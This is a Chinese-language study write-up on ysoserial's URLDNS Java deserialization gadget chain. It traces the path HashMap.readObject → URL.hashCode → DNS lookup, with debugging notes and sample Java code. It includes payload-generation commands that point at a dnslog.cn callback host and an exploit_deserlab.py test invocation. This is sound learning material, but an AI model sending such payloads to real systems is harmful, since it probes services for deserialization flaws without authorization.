URLDNS链

原理

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算keyhashCode,而java.net.URLhashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

可通过# 生成序列化Payload java -jar ysoserial-all.jar URLDNS http://1msjui.dnslog.cn > a.ser生成payload

测试 : python exploit_deserlab.py [host] [port] payload.bin

然后将序列化payload发给对应的目标结合漏洞让他进行反序列化,这里本地直接写个反序列化过程举例了;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class App {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/d4m1ts/d4m1ts/tools/java/ysoserial/target/a.ser"));
        objectInputStream.readObject();
    }
}

DNSlog收到了请求

image-20240731105150187

执行反序列化函数readObject()的最后会执行函数hash(key)
hash()函数调用了key.hashCode()
所以可以构造反序列化链:
HashMap.readObject()
HashMap.hash(key)
HashMap.key.hashCode()
将key改为URL对象
URL.hashCode()
URL.handler.hashCode()  //向url发出请求

URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,尤其是无回显的命令执行,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

这里为了方便调试,直接把ysoserial项目导入idea中。

一开始依赖一直导入不了,右键点击pom.xml然后创建settings.xml,配置镜像以后就可以了

image-20240731154046441

首先生成payload,可以直接利用编译好的jar包:

java -jar ysoserial-0.0.5.jar URLDNS http://1msjui.dnslog.cn > urldns.txt

也可以在IDEA中通过Configurations设置参数之后,再run生成

image-20240731155015104

再次运行

image-20240731155146286

打开ysoserial/payloads/URLDNS.java的源码,可以看到它的调用链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

根据上述的Gadget Chain,可见触发点是在HashMap.readObject(),为了节约时间,我们直接在HashMap.readObject()处下断点。

image-20240731155518053

中间的调试先省略了,大概跟了一下,说难也不难,去调试ysoserial就是说怎么进行序列化的,后面也会怎么反序列化,感觉跟php的反序列化类似,就是这个类执行另一个类的方法,看能不能找到一条链子,不过java不一样的地方是它是强面向对象的语言,序列化反序列化的过程中会加上很多java语言的特性,所以说还是得学好java的基础

就像hashmap的put在调用的时候就会请求DNS,但是ysoserial在进行序列化调用的时候却没有请求DNS

image-20240801103214398

再看看Ysoserial里面的URLDNS,多了这些:

            URLStreamHandler handler = new SilentURLStreamHandler();
            URL u = new URL(null, url, handler); // URL to use as the Key

    static class SilentURLStreamHandler extends URLStreamHandler {

            protected URLConnection openConnection(URL u) throws IOException {
                    return null;
            }

            protected synchronized InetAddress getHostAddress(URL u) {
                    return null;
            }
    }

根据调用链,最后面会调用handlergetHostAddress方法。为了不让在put的时候就触发了URLDNSYsoserial自己写了一个类继承URLStreamHandler,然后重写了getHostAddress()方法,防止了put时候的触发。

我们自己也试一下

public class URLDNS {
    public static void main(String[] args) throws MalformedURLException {
        HashMap ht = new HashMap();
        String url = "http://amam4v.dnslog.cn/";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

最后就是在这里进行了DNS请求

image-20240801100040786

等到步出这个方法的时候dnslog就多了一条

image-20240801100320479

image-20240801100259001

整个调用链如下:

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash()  -> URL.hashCode() -> URLStreamHandler.hashCode().getHostAddress() ->URLStreamHandler.getHostAddress().InetAddress.getByName()
0%